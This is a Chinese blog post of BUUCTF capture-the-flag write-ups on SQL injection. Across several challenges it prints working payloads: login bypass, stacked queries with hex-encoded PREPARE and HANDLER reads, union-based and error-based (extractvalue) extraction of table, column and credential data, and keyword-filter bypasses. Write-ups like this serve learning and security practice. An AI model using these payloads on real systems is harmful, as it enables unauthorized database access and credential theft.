CTF-SQL注入

目录

BUUCTF-[极客大挑战 2019]EasySQL

BUUCTF-[强网杯 2019]随便注

方法一

方法二 

BUUCTF-Blacklist

BUUCTF-[SUCTF 2019]EasySQL

BUUCTF-[极客大挑战 2019]LoveSQL

 BUUCTF-[极客大挑战 2019]BabySQL

 BUUCTF-[极客大挑战 2019]HardSQL

BUUCTF-[GXYCTF2019]BabySQli 


总结做到的几个CTF中的sql注入的题。下面的题目逐渐由简单到困难,逐步递增。感谢BUUCTF供题。

BUUCTF-[极客大挑战 2019]EasySQL

拿到题目是下面的界面,先尝试了弱口令。没成功。

尝试万能密码。payload:admin' or 1=1# 密码随便输入,即可实现了登录。

BUUCTF-[强网杯 2019]随便注

 这里用到的方法是堆叠注入。自己理解的堆叠注入的原理就是,如果在开启多语句的执行的情况下,可以使用拼接的方法,来实现多条语句的执行。例如1;show databases;那么这就是有两条语句组成的sql语句,会分别执行语句1和语句2.

这里判断出是字符型注入,并且有两个字段。

之后就来判断回显点。payload为-1' union select 1,2#但是发现有正则过滤的:

 这里就是用了堆叠注入。1';show databases;#

查看当前数据库中的表名:show tables;#

发现存在两个表,先来看一下表名为“1919810931114514”的表中存在的列,show columns from `1919810931114514`,这里要注意,当表名为数字的时候,在引用的时候要加上反引号。

之后就可以去查询flag中的内容,自己学会了两种方法,对于将两个表名重命名的方法,有点点没搞清楚(懂了,但没完全懂)。

方法一

由于过滤了select等关键字,所以可以使用select * from `1919810931114514`;将该条语句进行十六进制编码。使用prepare关键字来进行相应的预处理,从而实现查询。

payload:

1';set @sql = 0x73656C656374202A2066726F6D20603139313938313039333131313435313460;PREPARE hacker from @sql;EXecute hacker;#

PREPARE...from...是预处理语句,进行编码转化。

execute是用来执行由prepare创建的SQL语句。

set是对一个变量进行赋值。

方法二 

使用handler获取内容。

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

接下来的blacklist就是使用handler这种方法来完成的。 

BUUCTF-Blacklist

这里看到和上面的题很类似,就采用了堆叠注入。1';show tables;#

 然后使用handler。payload为1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

BUUCTF-[SUCTF 2019]EasySQL

感觉这个题和上面的堆叠注入很相似,尝试堆叠注入:

这里尝试的payload为1;show databases;#居然报错了,然后紧接着尝试了1;show tables;#

这里尝试了好多方法都不行。比如上面的handler方法、以及使用set、prepare...from...等方法都回显nonono。束手无策了,看了大佬的wp。

输入1,回显:

Array( [0] =>  1)

输入其他的字符或者0,没有回显。

输入select、handler等关键字回显nonono

猜测这里的查询语法是

select $_GET['query'] || flag from Flag

#||操作符:如果前面为真,则后面不执行,所以我们在传入1的时候,语句就变成了select 1 from Flag;

大佬采用的方法为操作符重置的方法:set sql_mode=PIPES_AS_CONCAT;

payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

BUUCTF-[极客大挑战 2019]LoveSQL

这里前面的判断注入就不进行判断了,我直接来判断回显点。

 这里判断出2,3处可以回显。

加下来就是判断处数据库。-1' union select 1,database(),3#

 开始查表->-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3#

 查表中的列名:-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#

 

接下来就是查id,username,password等具体的内容:

 -1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),3#

 BUUCTF-[极客大挑战 2019]BabySQL

看来就是升级版咯(肯定是做了过滤吧)

同样还是先使用万能密码,admin' or 1=1#,password随便输入了。发现了报错,错误提示是1=1#右边 那就是or被过滤了,尝试双写一下。

 成功登陆进来了。紧接着就是和之前一样,先来判断字段数,之后就是判断回显点。 

 判断字段数,oorrder bbyy 4#报错,3的时候正常回显。(by关键字被过滤)

 构造payload:-admin' union select 1,2,3#但是发现了union 和 select同样也是被过滤了。还是经过了双写绕过。payload为-admin' ununionion seselectlect 1,2,3#

 下面就是查数据库名:-admin' ununionion seselectlect 1,database(),3#

查询数据库中的表: -admin' ununionion seselectlect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),3#  这里经过测试from和where也都被过滤了。

查列名: -admin' ununionion seselectlect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3# 

继续查id,password,username等信息。

-admin' ununionion seselectlect 1,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql),3# 

 BUUCTF-[极客大挑战 2019]HardSQL

又是加强版了.

哎这里输入什么都被抓住。看了一下大佬的wp,使用报错注入。其中过滤了空格和=号,可以使用()代替空格,like代替=号,用’^'来连接函数,形成异或。

故这里构造的payload为:admin'^extractvalue(1,concat(0x7e,database()))#

随后就是查表名和列名。

查询表名:

admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

查询列名:

admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

接下来就是查询具体的信息

admin'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))))#

 哦吼,需要改一下了查询left的20个字符。使用到了right和left。

admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))))#
admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#

分别爆左右:

 

BUUCTF-[GXYCTF2019]BabySQli 

进入登录界面,尝试万能密码

发现注释中的编码,尝试解码,base32解码得到了base64编码,在经过base64解码得到如下的代码:

select * from user where username = '$name'

这里发现如果账号不是admin的话,回显为wrong user!

 账号为admin的时候,密码不对的情况,回显为wrong pass!

 判断下字段数,结果发现了过滤。尝试下大小写。

 当为4的时候,报错了。

做到这里就不会了,看了大佬的wp,说在联合查询不存在的数据的时候,联合查询就会构造一个虚拟的数据。这里的字段1应该是id,后面才是账号和密码。所以构造一个虚拟的数据。

payload为:

name=1' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456

这个题还是要继续好好吸收一下原理。(懂但是没有完全懂)

  • 5
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
在CTF中,SQL注入是一种常见的攻击类型,通常是通过构造恶意输入来绕过应用程序的安全控制,从而访问或篡改应用程序的数据。 以下是一些SQL注入题目的解法: 1. 基于错误的注入:这种类型的注入通常涉及到将错误的输入发送到应用程序,然后观察应用程序返回的错误消息。通过分析错误消息,攻击者可以获得关于数据库的有用信息。例如,攻击者可以尝试通过发送 '和1=2' 的输入来触发一个错误消息。如果返回了一个错误消息,那么攻击者就会知道这个输入是有效的。 2. 基于时间的注入:这种类型的注入利用了数据库查询的延迟响应时间。攻击者可以在输入中添加一些额外的SQL语句,这些语句会导致查询的执行时间变长。通过观察查询的响应时间,攻击者可以获得关于数据库的有用信息。 3. 盲注入:这种类型的注入通常是在攻击者无法看到应用程序返回的响应消息时使用的。攻击者可以尝试发送不同类型的输入来推断数据库中的数据。例如,攻击者可以尝试使用布尔逻辑来确定某个字段中是否存在数据。 4. 堆叠注入:这种类型的注入涉及到在单个输入中添加多个SQL语句。攻击者可以利用这些语句来执行多个操作,例如创建新用户、修改密码等。 5. 直接注入:这种类型的注入涉及到直接在SQL查询中插入恶意代码。攻击者可以利用这些代码来执行任意操作,例如删除数据库中的数据、修改数据库中的数据等。 以上是一些常见的SQL注入题目解法,但是在实际的CTF比赛中,攻击者需要具备较强的技术水平和经验才能成功地解决这些问题。因此,对于CTF选手而言,不断学习和实践是非常重要的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值